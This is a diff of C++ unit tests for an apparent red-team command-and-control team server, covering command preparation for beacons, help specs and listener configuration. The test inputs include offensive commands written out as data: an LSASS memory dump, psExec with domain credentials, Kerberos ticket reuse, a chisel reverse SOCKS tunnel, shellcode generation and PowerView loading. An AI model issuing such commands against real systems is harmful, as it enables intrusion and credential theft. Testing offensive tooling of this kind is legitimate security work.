std::make_shared(runtimeConfig); + std::vector> preparers; + preparers.push_back(std::make_unique( + makeLogger(), + runtimeConfig, + shellcodeService, + artifactStore, + modules)); + + TeamServerCommandPreparationService service( + makeLogger(), + runtimeConfig, + commonCommands, + modules, + std::move(preparers)); + + C2Message message; + require(service.prepareMessage("chisel client 127.0.0.1:9001 R:socks", message, true, "amd64") == 0, "chisel prepare failed"); + require(message.instruction() == "chisel", "chisel instruction mismatch"); + require(message.cmd() == "client 127.0.0.1:9001 R:socks", "chisel display command mismatch"); + require(message.data() == "CHISEL-SHELLCODE", "chisel shellcode payload mismatch"); + require(message.inputfile().find("GeneratedArtifacts") != std::string::npos, "chisel generated artifact path mismatch"); + require(shellcodeService->lastRequest.generator == "donut", "chisel generator mismatch"); + require(shellcodeService->lastRequest.sourcePath == chiselPath.string(), "chisel fixed source path mismatch"); + require(shellcodeService->lastRequest.arguments == "client 127.0.0.1:9001 R:socks", "chisel arguments mismatch"); + + TeamServerArtifactCatalog catalog(runtimeConfig); + TeamServerArtifactQuery query; + query.category = "payload"; + query.scope = "generated"; + query.runtime = "shellcode"; + const std::vector artifacts = catalog.listArtifacts(query); + require(artifacts.size() == 1, "chisel generated shellcode catalog count mismatch"); + require(artifacts[0].source == "donut", "chisel generated source mismatch"); + require(artifacts[0].arch == "x64", "chisel generated arch mismatch"); +} + +void testPrepareScriptAndPowershellUseScriptArtifacts() +{ + ScopedPath tempRoot(makeTempDirectory("script-preparer")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + writeFile(fs::path(runtimeConfig.scriptsDirectoryPath) / "Linux" / "collect.sh", "id\n"); + writeFile(fs::path(runtimeConfig.scriptsDirectoryPath) / "Windows" / "collect.ps1", "Get-Process\n"); + writeFile(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Linux" / "x64" / "uploadedCollect.sh", "hostname\n"); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("script")); + modules.push_back(std::make_unique("powershell")); + + auto artifactStore = std::make_shared(runtimeConfig); + auto fileArtifactService = std::make_shared( + makeLogger(), + runtimeConfig, + artifactStore); + std::vector> preparers; + preparers.push_back(std::make_unique( + makeLogger(), + fileArtifactService, + modules)); + + TeamServerCommandPreparationService service( + makeLogger(), + runtimeConfig, + commonCommands, + modules, + std::move(preparers)); + + C2Message scriptMessage; + require(service.prepareMessage("script collect.sh", scriptMessage, false, "amd64") == 0, "script prepare failed"); + require(scriptMessage.instruction() == "script", "script instruction mismatch"); + require(scriptMessage.inputfile() == "collect.sh", "script input artifact mismatch"); + require(scriptMessage.data() == "id\n", "script bytes mismatch"); + + C2Message uploadedScriptMessage; + require(service.prepareMessage("script uploadedCollect.sh", uploadedScriptMessage, false, "amd64") == 0, "uploaded script prepare failed"); + require(uploadedScriptMessage.instruction() == "script", "uploaded script instruction mismatch"); + require(uploadedScriptMessage.inputfile() == "uploadedCollect.sh", "uploaded script input artifact mismatch"); + require(uploadedScriptMessage.data() == "hostname\n", "uploaded script bytes mismatch"); + + C2Message powershellMessage; + require(service.prepareMessage("powershell -s collect.ps1", powershellMessage, true, "x64") == 0, "powershell script prepare failed"); + require(powershellMessage.instruction() == "powershell", "powershell instruction mismatch"); + require(powershellMessage.inputfile() == "collect.ps1", "powershell input artifact mismatch"); + require(powershellMessage.cmd() == "-s collect.ps1 ", "powershell cmd mismatch"); + require(powershellMessage.data().find("Invoke-Command -ScriptBlock") != std::string::npos, "powershell wrapper missing"); + require(powershellMessage.data().find("Get-Process") != std::string::npos, "powershell script content missing"); + + C2Message inlineMessage; + require(service.prepareMessage("powershell whoami", inlineMessage, true, "x86") == 42, "inline powershell should fall through to module init"); + require(inlineMessage.instruction() == "FAKE", "inline powershell fallback mismatch"); +} + +void testPrepareMiniDumpCreatesGeneratedArtifactSlotAndRegistersChunks() +{ + ScopedPath tempRoot(makeTempDirectory("minidump-preparer")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("miniDump")); + + auto artifactStore = std::make_shared(runtimeConfig); + auto fileArtifactService = std::make_shared( + makeLogger(), + runtimeConfig, + artifactStore); + std::vector> preparers; + preparers.push_back(std::make_unique( + makeLogger(), + fileArtifactService, + modules)); + + TeamServerCommandPreparationService service( + makeLogger(), + runtimeConfig, + commonCommands, + modules, + std::move(preparers)); + + C2Message message; + require(service.prepareMessage("miniDump dump lsass.xored", message, true, "amd64") == 0, "miniDump prepare failed"); + require(message.instruction() == "miniDump", "miniDump instruction mismatch"); + require(message.cmd() == "0", "miniDump command mismatch"); + require(message.outputfile().find("GeneratedArtifacts/minidump/beacon") != std::string::npos, "miniDump output path mismatch"); + require(fs::exists(message.outputfile() + ".artifact.pending.json"), "miniDump pending metadata missing"); + + C2Message firstChunk; + firstChunk.set_outputfile(message.outputfile()); + firstChunk.set_args("0"); + firstChunk.set_data("AA"); + firstChunk.set_returnvalue("2/4"); + std::string artifactMessage; + require(fileArtifactService->handleCommandResult(firstChunk, artifactMessage), "miniDump first chunk was not handled"); + require(fileArtifactService->shouldKeepCommandContext(firstChunk), "miniDump first chunk should keep command context"); + require(!fs::exists(message.outputfile() + ".artifact.json"), "miniDump should not register before success"); + + C2Message finalChunk; + finalChunk.set_outputfile(message.outputfile()); + finalChunk.set_args("1"); + finalChunk.set_data("BB"); + finalChunk.set_returnvalue("Success"); + require(fileArtifactService->handleCommandResult(finalChunk, artifactMessage), "miniDump final chunk was not handled"); + require(artifactMessage.find("Generated artifact stored:") != std::string::npos, "miniDump artifact message mismatch"); + require(fs::exists(message.outputfile() + ".artifact.json"), "miniDump artifact metadata missing"); + + std::ifstream payload(message.outputfile(), std::ios::binary); + std::string payloadBytes(std::istreambuf_iterator(payload), {}); + require(payloadBytes == "AABB", "miniDump assembled bytes mismatch"); + + TeamServerArtifactCatalog catalog(runtimeConfig); + TeamServerArtifactQuery query; + query.category = "minidump"; + query.scope = "generated"; + query.target = "teamserver"; + query.runtime = "file"; + const std::vector artifacts = catalog.listArtifacts(query); + require(artifacts.size() == 1, "miniDump artifact catalog count mismatch"); + require(artifacts[0].source == "beacon", "miniDump artifact source mismatch"); + require(artifacts[0].platform == "windows", "miniDump artifact platform mismatch"); + require(artifacts[0].arch == "x64", "miniDump artifact arch mismatch"); + require(artifacts[0].format == "xored", "miniDump artifact format mismatch"); +} + +void testPrepareScreenShotCreatesGeneratedArtifactSlot() +{ + ScopedPath tempRoot(makeTempDirectory("screenshot-preparer")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("screenShot")); + + auto artifactStore = std::make_shared(runtimeConfig); + auto fileArtifactService = std::make_shared( + makeLogger(), + runtimeConfig, + artifactStore); + std::vector> preparers; + preparers.push_back(std::make_unique( + makeLogger(), + fileArtifactService, + modules)); + + TeamServerCommandPreparationService service( + makeLogger(), + runtimeConfig, + commonCommands, + modules, + std::move(preparers)); + + C2Message message; + require(service.prepareMessage("screenShot desktop.png", message, true, "amd64") == 0, "screenShot prepare failed"); + require(message.instruction() == "screenShot", "screenShot instruction mismatch"); + require(message.outputfile().find("GeneratedArtifacts/screenshot/beacon") != std::string::npos, "screenShot output path mismatch"); + require(message.outputfile().find(".png") != std::string::npos, "screenShot output should be PNG"); + require(fs::exists(message.outputfile() + ".artifact.pending.json"), "screenShot pending metadata missing"); + + C2Message result; + result.set_outputfile(message.outputfile()); + result.set_args("0"); + result.set_data("BMfake"); + result.set_returnvalue("Success"); + std::string artifactMessage; + require(fileArtifactService->handleCommandResult(result, artifactMessage), "screenShot result was not handled"); + require(artifactMessage.find("Generated artifact stored:") != std::string::npos, "screenShot artifact message mismatch"); + + TeamServerArtifactCatalog catalog(runtimeConfig); + TeamServerArtifactQuery query; + query.category = "screenshot"; + query.scope = "generated"; + query.target = "teamserver"; + query.runtime = "file"; + const std::vector artifacts = catalog.listArtifacts(query); + require(artifacts.size() == 1, "screenShot artifact catalog count mismatch"); + require(artifacts[0].format == "png", "screenShot artifact format mismatch"); + + C2Message invalidMessage; + require(service.prepareMessage("screenShot desktop.bmp", invalidMessage, true, "amd64") == -1, "screenShot should reject non-PNG extension"); + require(invalidMessage.returnvalue().find("only supports PNG") != std::string::npos, "screenShot invalid extension message mismatch"); + + C2Message inferredPngMessage; + require(service.prepareMessage("screenShot desktop", inferredPngMessage, true, "amd64") == 0, "screenShot should append PNG extension"); + require(inferredPngMessage.outputfile().find("desktop.png") != std::string::npos, "screenShot inferred PNG output mismatch"); +} + +void testPrepareKerberosUseTicketUsesUploadedArtifact() +{ + ScopedPath tempRoot(makeTempDirectory("kerberos-preparer")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + writeFile(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Any" / "any" / "ticket.kirbi", "TICKET"); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("kerberosUseTicket")); + + auto artifactStore = std::make_shared(runtimeConfig); + auto fileArtifactService = std::make_shared(makeLogger(), runtimeConfig, artifactStore); + std::vector> preparers; + preparers.push_back(std::make_unique(makeLogger(), fileArtifactService, modules)); + + TeamServerCommandPreparationService service(makeLogger(), runtimeConfig, commonCommands, modules, std::move(preparers)); + + C2Message message; + require(service.prepareMessage("kerberosUseTicket ticket.kirbi", message, true, "x64") == 0, "kerberosUseTicket prepare failed"); + require(message.instruction() == "kerberosUseTicket", "kerberosUseTicket instruction mismatch"); + require(message.inputfile() == "ticket.kirbi", "kerberosUseTicket input artifact mismatch"); + require(message.data() == "TICKET", "kerberosUseTicket data mismatch"); +} + +void testPreparePsExecUsesToolThenUploadedArtifact() +{ + ScopedPath tempRoot(makeTempDirectory("psexec-preparer")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / "x64" / "svc.exe", "TOOL-SVC"); + writeFile(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Any" / "any" / "uploadSvc.exe", "UPLOAD-SVC"); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("psExec")); + + auto artifactStore = std::make_shared(runtimeConfig); + auto fileArtifactService = std::make_shared(makeLogger(), runtimeConfig, artifactStore); + std::vector> preparers; + preparers.push_back(std::make_unique(makeLogger(), fileArtifactService, modules)); + + TeamServerCommandPreparationService service(makeLogger(), runtimeConfig, commonCommands, modules, std::move(preparers)); + + C2Message credentialMessage; + require(service.prepareMessage("psExec -u DOMAIN\\alice secret server01 svc.exe", credentialMessage, true, "amd64") == 0, "psExec tool prepare failed"); + require(credentialMessage.instruction() == "psExec", "psExec instruction mismatch"); + require(credentialMessage.inputfile() == "svc.exe", "psExec tool artifact mismatch"); + require(credentialMessage.data() == "TOOL-SVC", "psExec tool bytes mismatch"); + const std::vector credentialFields = splitNullFields(credentialMessage.cmd()); + require(credentialFields.size() == 4, "psExec credential fields count mismatch"); + require(credentialFields[0] == "DOMAIN", "psExec domain mismatch"); + require(credentialFields[1] == "alice", "psExec username mismatch"); + require(credentialFields[2] == "secret", "psExec password mismatch"); + require(credentialFields[3] == "server01", "psExec target mismatch"); + + C2Message uploadMessage; + require(service.prepareMessage("psExec -n server01 uploadSvc.exe", uploadMessage, true, "amd64") == 0, "psExec upload fallback prepare failed"); + require(uploadMessage.inputfile() == "uploadSvc.exe", "psExec upload artifact mismatch"); + require(uploadMessage.data() == "UPLOAD-SVC", "psExec upload bytes mismatch"); + require(uploadMessage.cmd() == "server01", "psExec token target mismatch"); +} + +void testPrepareCoffLoaderUsesToolArtifact() +{ + ScopedPath tempRoot(makeTempDirectory("coffloader-preparer")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / "x64" / "whoami.x64.o", "COFF"); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("coffLoader")); + + auto artifactStore = std::make_shared(runtimeConfig); + auto fileArtifactService = std::make_shared(makeLogger(), runtimeConfig, artifactStore); + std::vector> preparers; + preparers.push_back(std::make_unique(makeLogger(), fileArtifactService, modules)); + + TeamServerCommandPreparationService service(makeLogger(), runtimeConfig, commonCommands, modules, std::move(preparers)); + + C2Message message; + require(service.prepareMessage("coffLoader whoami.x64.o go Zs c:\\ 0", message, true, "x64") == 0, "coffLoader prepare failed"); + require(message.instruction() == "coffLoader", "coffLoader instruction mismatch"); + require(message.inputfile() == "whoami.x64.o", "coffLoader tool artifact mismatch"); + require(message.cmd() == "go", "coffLoader function mismatch"); + require(message.args() == "Zs c:\\ 0", "coffLoader arguments mismatch"); + require(message.data() == "COFF", "coffLoader bytes mismatch"); +} + +void testPrepareDotnetExecLoadUsesToolArtifact() +{ + ScopedPath tempRoot(makeTempDirectory("dotnetexec-preparer")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / "x64" / "Tool.exe", "EXE"); + writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / "x64" / "Library.dll", "DLL"); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("dotnetExec")); + + auto artifactStore = std::make_shared(runtimeConfig); + auto fileArtifactService = std::make_shared(makeLogger(), runtimeConfig, artifactStore); + std::vector> preparers; + preparers.push_back(std::make_unique(makeLogger(), fileArtifactService, modules)); + + TeamServerCommandPreparationService service(makeLogger(), runtimeConfig, commonCommands, modules, std::move(preparers)); + + C2Message exeMessage; + require(service.prepareMessage("dotnetExec load tool Tool.exe", exeMessage, true, "amd64") == 0, "dotnetExec exe load prepare failed"); + require(exeMessage.instruction() == "dotnetExec", "dotnetExec instruction mismatch"); + require(exeMessage.cmd() == "00001", "dotnetExec load command mismatch"); + require(exeMessage.args() == "tool", "dotnetExec short name mismatch"); + require(exeMessage.returnvalue().empty(), "dotnetExec exe type mismatch"); + require(exeMessage.inputfile() == "Tool.exe", "dotnetExec exe artifact mismatch"); + require(exeMessage.data() == "EXE", "dotnetExec exe bytes mismatch"); + + C2Message dllMessage; + require(service.prepareMessage("dotnetExec load library Library.dll Namespace.Type", dllMessage, true, "amd64") == 0, "dotnetExec dll load prepare failed"); + require(dllMessage.returnvalue() == "Namespace.Type", "dotnetExec dll type mismatch"); + require(dllMessage.data() == "DLL", "dotnetExec dll bytes mismatch"); + + C2Message runMessage; + require(service.prepareMessage("dotnetExec runExe tool arg1", runMessage, true, "amd64") == 42, "dotnetExec run should fall through to module init"); + require(runMessage.instruction() == "FAKE", "dotnetExec run fallback mismatch"); +} + +void testPreparePwShUsesFixedRunnerAndScriptArtifacts() +{ + ScopedPath tempRoot(makeTempDirectory("pwsh-preparer")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "Any" / "any" / "rdm.dll", "RUNNER"); + writeFile(fs::path(runtimeConfig.scriptsDirectoryPath) / "Windows" / "PowerView.ps1", "function Invoke-PowerView {}\n"); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("pwSh")); + + auto artifactStore = std::make_shared(runtimeConfig); + auto fileArtifactService = std::make_shared(makeLogger(), runtimeConfig, artifactStore); + std::vector> preparers; + preparers.push_back(std::make_unique(makeLogger(), fileArtifactService, modules)); + + TeamServerCommandPreparationService service(makeLogger(), runtimeConfig, commonCommands, modules, std::move(preparers)); + + C2Message initMessage; + require(service.prepareMessage("pwSh init", initMessage, true, "amd64") == 0, "pwSh init prepare failed"); + require(initMessage.instruction() == "pwSh", "pwSh init instruction mismatch"); + require(initMessage.cmd() == "00001", "pwSh init command mismatch"); + require(initMessage.args() == "rdm.rdm", "pwSh fixed type mismatch"); + require(initMessage.inputfile() == "rdm.dll", "pwSh fixed runner mismatch"); + require(initMessage.data() == "RUNNER", "pwSh runner bytes mismatch"); + + C2Message runMessage; + require(service.prepareMessage("pwSh run Get-Process", runMessage, true, "amd64") == 0, "pwSh run prepare failed"); + require(runMessage.cmd() == "00003", "pwSh run command mismatch"); + require(runMessage.args() == "Get-Process ", "pwSh run args mismatch"); + + C2Message importMessage; + require(service.prepareMessage("pwSh import PowerView.ps1", importMessage, true, "amd64") == 0, "pwSh import prepare failed"); + require(importMessage.cmd() == "00004", "pwSh import command mismatch"); + require(importMessage.inputfile() == "PowerView.ps1", "pwSh import script mismatch"); + require(importMessage.args().find("New-Module -ScriptBlock") != std::string::npos, "pwSh import wrapper mismatch"); + + C2Message scriptMessage; + require(service.prepareMessage("pwSh script PowerView.ps1", scriptMessage, true, "amd64") == 0, "pwSh script prepare failed"); + require(scriptMessage.cmd() == "00005", "pwSh script command mismatch"); + require(scriptMessage.args().find("Invoke-Command -ScriptBlock") != std::string::npos, "pwSh script wrapper mismatch"); +} } // namespace int main() @@ -193,5 +1057,21 @@ int main() testPrepareModuleCommandCaseInsensitive(); testPrepareMissingCommand(); testPrepareLoadModuleUsesWindowsSessionArchitecture(); + testPrepareLoadModuleUsesLinuxSessionArchitecture(); + testPrepareAssemblyExecUsesShellcodeServiceAndGeneratedArtifactStore(); + testPrepareAssemblyExecDonutReportsMissingSource(); + testPrepareInjectUsesShellcodeServiceAndGeneratedArtifactStore(); + testPrepareInjectDonutReportsMissingSource(); + testPrepareUploadUsesUploadedArtifact(); + testPrepareDownloadCreatesGeneratedArtifactSlot(); + testPrepareChiselUsesFixedToolAndShellcodeService(); + testPrepareScriptAndPowershellUseScriptArtifacts(); + testPrepareMiniDumpCreatesGeneratedArtifactSlotAndRegistersChunks(); + testPrepareScreenShotCreatesGeneratedArtifactSlot(); + testPrepareKerberosUseTicketUsesUploadedArtifact(); + testPreparePsExecUsesToolThenUploadedArtifact(); + testPrepareCoffLoaderUsesToolArtifact(); + testPrepareDotnetExecLoadUsesToolArtifact(); + testPreparePwShUsesFixedRunnerAndScriptArtifacts(); return 0; } diff --git a/teamServer/tests/TeamServerHelpServiceTests.cpp b/teamServer/tests/TeamServerHelpServiceTests.cpp index 73e430b..5089676 100644 --- a/teamServer/tests/TeamServerHelpServiceTests.cpp +++ b/teamServer/tests/TeamServerHelpServiceTests.cpp @@ -1,12 +1,46 @@ #include +#include +#include #include #include +#include +#include #include +#include "TeamServerCommandCatalog.hpp" #include "TeamServerHelpService.hpp" +#include "TeamServerRuntimeConfig.hpp" + +namespace fs = std::filesystem; namespace { +class ScopedPath +{ +public: + explicit ScopedPath(fs::path path) + : m_path(std::move(path)) + { + std::error_code ec; + fs::remove_all(m_path, ec); + fs::create_directories(m_path); + } + + ~ScopedPath() + { + std::error_code ec; + fs::remove_all(m_path, ec); + } + + const fs::path& path() const + { + return m_path; + } + +private: + fs::path m_path; +}; + class TestListener final : public Listener { public: @@ -62,6 +96,11 @@ class FakeModule final : public ModuleCmd int m_compatibility; }; +fs::path makeTempDirectory(const std::string& name) +{ + return fs::temp_directory_path() / ("c2teamserver-help-service-" + name + "-" + std::to_string(::getpid())); +} + std::shared_ptr makeLogger() { auto logger = std::make_shared("help-tests"); @@ -69,8 +108,102 @@ std::shared_ptr makeLogger() return logger; } +TeamServerRuntimeConfig makeRuntimeConfig(const fs::path& root) +{ + TeamServerRuntimeConfig runtimeConfig; + runtimeConfig.commandSpecsDirectoryPath = (root / "CommandSpecs").string(); + fs::create_directories(runtimeConfig.commandSpecsDirectoryPath); + return runtimeConfig; +} + +void writeFile(const fs::path& path, const std::string& content) +{ + fs::create_directories(path.parent_path()); + std::ofstream output(path, std::ios::binary); + output << content; +} + +void seedCommandSpecs(const TeamServerRuntimeConfig& runtimeConfig) +{ + writeFile( + fs::path(runtimeConfig.commandSpecsDirectoryPath) / "common" / "sleep.json", + R"JSON({ + "name": "sleep", + "display_name": "sleep", + "kind": "common", + "description": "Set the beacon sleep interval in seconds.", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [ + { + "name": "seconds", + "type": "number", + "required": true, + "description": "Sleep interval in seconds." + } + ], + "examples": ["sleep 0.5"], + "source": "manifest" +})JSON"); + writeFile( + fs::path(runtimeConfig.commandSpecsDirectoryPath) / "common" / "help.json", + R"JSON({ + "name": "help", + "kind": "common", + "description": "Show available commands.", + "target": "operator", + "requires_session": false, + "platforms": ["any"], + "archs": ["any"], + "args": [ + { + "name": "command", + "type": "text", + "required": false, + "description": "Optional command name." + } + ], + "examples": ["help", "help sleep"], + "source": "manifest" +})JSON"); + writeFile( + fs::path(runtimeConfig.commandSpecsDirectoryPath) / "modules" / "winmod.json", + R"JSON({ + "name": "winmod", + "kind": "module", + "description": "Windows-only module.", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["any"], + "args": [], + "examples": ["winmod"], + "source": "manifest" +})JSON"); + writeFile( + fs::path(runtimeConfig.commandSpecsDirectoryPath) / "modules" / "linmod.json", + R"JSON({ + "name": "linmod", + "kind": "module", + "description": "Linux-only module.", + "target": "beacon", + "requires_session": true, + "platforms": ["linux"], + "archs": ["any"], + "args": [], + "examples": ["linmod"], + "source": "manifest" +})JSON"); +} + void testGeneralHelpUsesSessionPlatform() { + ScopedPath tempRoot(makeTempDirectory("general")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + seedCommandSpecs(runtimeConfig); + auto logger = makeLogger(); std::vector> listeners; auto listener = std::make_shared("listener-primary"); @@ -82,7 +215,12 @@ void testGeneralHelpUsesSessionPlatform() moduleCmd.push_back(std::make_unique("linmod", "linux module info", OS_LINUX)); CommonCommands commonCommands; - TeamServerHelpService service(logger, listeners, moduleCmd, commonCommands); + TeamServerHelpService service( + logger, + listeners, + moduleCmd, + commonCommands, + TeamServerCommandCatalog(runtimeConfig)); teamserverapi::CommandHelpRequest command; command.set_command("help"); @@ -92,38 +230,82 @@ void testGeneralHelpUsesSessionPlatform() teamserverapi::CommandHelpResponse response; assert(service.getHelp(command, &response).ok()); assert(response.status() == teamserverapi::OK); - assert(response.help().find("- Modules Commands Windows:") != std::string::npos); + assert(response.help().find("Available commands for windows:") != std::string::npos); + assert(response.help().find("- Common Commands:") != std::string::npos); + assert(response.help().find("sleep - Set the beacon sleep interval") != std::string::npos); + assert(response.help().find("- Module Commands:") != std::string::npos); assert(response.help().find("winmod") != std::string::npos); assert(response.help().find("linmod") == std::string::npos); } -void testSpecificHelpResolvesModuleInfoAndMissingModule() +void testSpecificHelpUsesCommandSpec() { + ScopedPath tempRoot(makeTempDirectory("specific")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + seedCommandSpecs(runtimeConfig); + auto logger = makeLogger(); std::vector> listeners; std::vector> moduleCmd; - moduleCmd.push_back(std::make_unique("winmod", "windows module info", OS_WINDOWS)); CommonCommands commonCommands; - TeamServerHelpService service(logger, listeners, moduleCmd, commonCommands); + TeamServerHelpService service( + logger, + listeners, + moduleCmd, + commonCommands, + TeamServerCommandCatalog(runtimeConfig)); - teamserverapi::CommandHelpRequest moduleCommand; - moduleCommand.set_command("help winmod"); - teamserverapi::CommandHelpResponse moduleResponse; - assert(service.getHelp(moduleCommand, &moduleResponse).ok()); - assert(moduleResponse.help().find("windows module info") != std::string::npos); + teamserverapi::CommandHelpRequest sleepCommand; + sleepCommand.set_command("help sleep"); + teamserverapi::CommandHelpResponse sleepResponse; + assert(service.getHelp(sleepCommand, &sleepResponse).ok()); + assert(sleepResponse.status() == teamserverapi::OK); + assert(sleepResponse.help().find("sleep\n") == 0); + assert(sleepResponse.help().find("Usage: sleep ") != std::string::npos); + assert(sleepResponse.help().find(" (number, required) - Sleep interval in seconds.") != std::string::npos); + assert(sleepResponse.help().find("Examples:") != std::string::npos); + assert(sleepResponse.help().find("sleep 0.5") != std::string::npos); teamserverapi::CommandHelpRequest missingCommand; missingCommand.set_command("help nope"); teamserverapi::CommandHelpResponse missingResponse; assert(service.getHelp(missingCommand, &missingResponse).ok()); - assert(missingResponse.help() == "Module nope not found.\n"); + assert(missingResponse.status() == teamserverapi::KO); + assert(missingResponse.message() == "No help available."); +} + +void testSpecificHelpFallsBackToLegacyInfoWithoutSpec() +{ + ScopedPath tempRoot(makeTempDirectory("fallback")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + + auto logger = makeLogger(); + std::vector> listeners; + std::vector> moduleCmd; + moduleCmd.push_back(std::make_unique("legacyMod", "legacy module info", OS_WINDOWS)); + + CommonCommands commonCommands; + TeamServerHelpService service( + logger, + listeners, + moduleCmd, + commonCommands, + TeamServerCommandCatalog(runtimeConfig)); + + teamserverapi::CommandHelpRequest moduleCommand; + moduleCommand.set_command("help legacyMod"); + teamserverapi::CommandHelpResponse moduleResponse; + assert(service.getHelp(moduleCommand, &moduleResponse).ok()); + assert(moduleResponse.status() == teamserverapi::OK); + assert(moduleResponse.help().find("legacy module info") != std::string::npos); } } // namespace int main() { testGeneralHelpUsesSessionPlatform(); - testSpecificHelpResolvesModuleInfoAndMissingModule(); + testSpecificHelpUsesCommandSpec(); + testSpecificHelpFallsBackToLegacyInfoWithoutSpec(); return 0; } diff --git a/teamServer/tests/TeamServerHttpListenerTransportTests.cpp b/teamServer/tests/TeamServerHttpListenerTransportTests.cpp index a09b24b..7982194 100644 --- a/teamServer/tests/TeamServerHttpListenerTransportTests.cpp +++ b/teamServer/tests/TeamServerHttpListenerTransportTests.cpp @@ -38,6 +38,27 @@ int findFreePort() ::close(sock); return port; } + +int bindLocalPort(int& port) +{ + const int sock = ::socket(AF_INET, SOCK_STREAM, 0); + assert(sock >= 0); + + sockaddr_in addr{}; + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + addr.sin_port = 0; + + const int bindResult = ::bind(sock, reinterpret_cast(&addr), sizeof(addr)); + assert(bindResult == 0); + + socklen_t len = sizeof(addr); + const int nameResult = ::getsockname(sock, reinterpret_cast(&addr), &len); + assert(nameResult == 0); + + port = ntohs(addr.sin_port); + return sock; +} #else int findFreePort() { @@ -113,10 +134,33 @@ void testHttpAndWebSocketTransport() assert(reply.empty()); ws.close(); } + +void testHttpInitRejectsOccupiedPort() +{ +#ifndef _WIN32 + int port = 0; + const int occupiedSocket = bindLocalPort(port); + + nlohmann::json config = { + {"LogLevel", "off"}, + {"ListenerHttpConfig", + { + {"uri", {"/checkin"}}, + {"server", {{"headers", nlohmann::json::object()}}}, + }}, + }; + + ListenerHttp listener("127.0.0.1", port, config, false); + assert(listener.init() < 0); + + ::close(occupiedSocket); +#endif +} } // namespace int main() { testHttpAndWebSocketTransport(); + testHttpInitRejectsOccupiedPort(); return 0; } diff --git a/teamServer/tests/TeamServerListenerArtifactServiceTests.cpp b/teamServer/tests/TeamServerListenerArtifactServiceTests.cpp index 927b62a..ebaa5a8 100644 --- a/teamServer/tests/TeamServerListenerArtifactServiceTests.cpp +++ b/teamServer/tests/TeamServerListenerArtifactServiceTests.cpp @@ -81,6 +81,8 @@ TeamServerRuntimeConfig makeRuntimeConfig(const fs::path& root) fs::create_directories(runtimeConfig.windowsModulesDirectoryPath); fs::create_directories(runtimeConfig.linuxBeaconsDirectoryPath); fs::create_directories(runtimeConfig.windowsBeaconsDirectoryPath); + for (const auto& arch : runtimeConfig.supportedLinuxArchs) + fs::create_directories(fs::path(runtimeConfig.linuxBeaconsDirectoryPath) / arch); for (const auto& arch : runtimeConfig.supportedWindowsArchs) fs::create_directories(fs::path(runtimeConfig.windowsBeaconsDirectoryPath) / arch); fs::create_directories(runtimeConfig.toolsDirectoryPath); @@ -129,6 +131,66 @@ void testInfoListenerForPrimaryAndSecondary() assert(response.message() == "Error: Listener not found."); } +void testInfoListenerAddressFallbacks() +{ + ScopedPath tempRoot(makeTempDirectory("info-fallback")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + nlohmann::json config = { + {"DomainName", ""}, + {"ExposedIp", ""}, + {"IpInterface", "missing0"}, + {"ListenerHttpsConfig", {{"uriFileDownload", "/drop.bin"}}}}; + + auto primary = std::make_shared("listener-primary", ListenerHttpsType, "192.168.56.10", "8443"); + std::vector> listeners = {primary}; + + TeamServerListenerArtifactService service( + makeLogger(), + config, + runtimeConfig, + listeners, + [](const std::string&) + { + return ""; + }); + + teamserverapi::TerminalCommandResponse response; + teamserverapi::TerminalCommandRequest command; + command.set_command("infoListener listener-pri"); + assert(service.handleCommand("infoListener", {"infoListener", "listener-pri"}, command, &response).ok()); + assert(response.status() == teamserverapi::OK); + assert(response.result() == "https\n192.168.56.10\n8443\n/drop.bin"); + + config["ExposedIp"] = "203.0.113.10"; + TeamServerListenerArtifactService exposedService(makeLogger(), config, runtimeConfig, listeners); + assert(exposedService.handleCommand("infoListener", {"infoListener", "listener-pri"}, command, &response).ok()); + assert(response.status() == teamserverapi::OK); + assert(response.result() == "https\n203.0.113.10\n8443\n/drop.bin"); + + config["ExposedIp"] = ""; + config["IpInterface"] = "eth-test"; + TeamServerListenerArtifactService interfaceService( + makeLogger(), + config, + runtimeConfig, + listeners, + [](const std::string& interface) + { + return interface == "eth-test" ? "10.10.10.10" : ""; + }); + assert(interfaceService.handleCommand("infoListener", {"infoListener", "listener-pri"}, command, &response).ok()); + assert(response.status() == teamserverapi::OK); + assert(response.result() == "https\n10.10.10.10\n8443\n/drop.bin"); + + auto wildcard = std::make_shared("wildcard-listener", ListenerHttpsType, "0.0.0.0", "8443"); + std::vector> wildcardListeners = {wildcard}; + config["IpInterface"] = ""; + 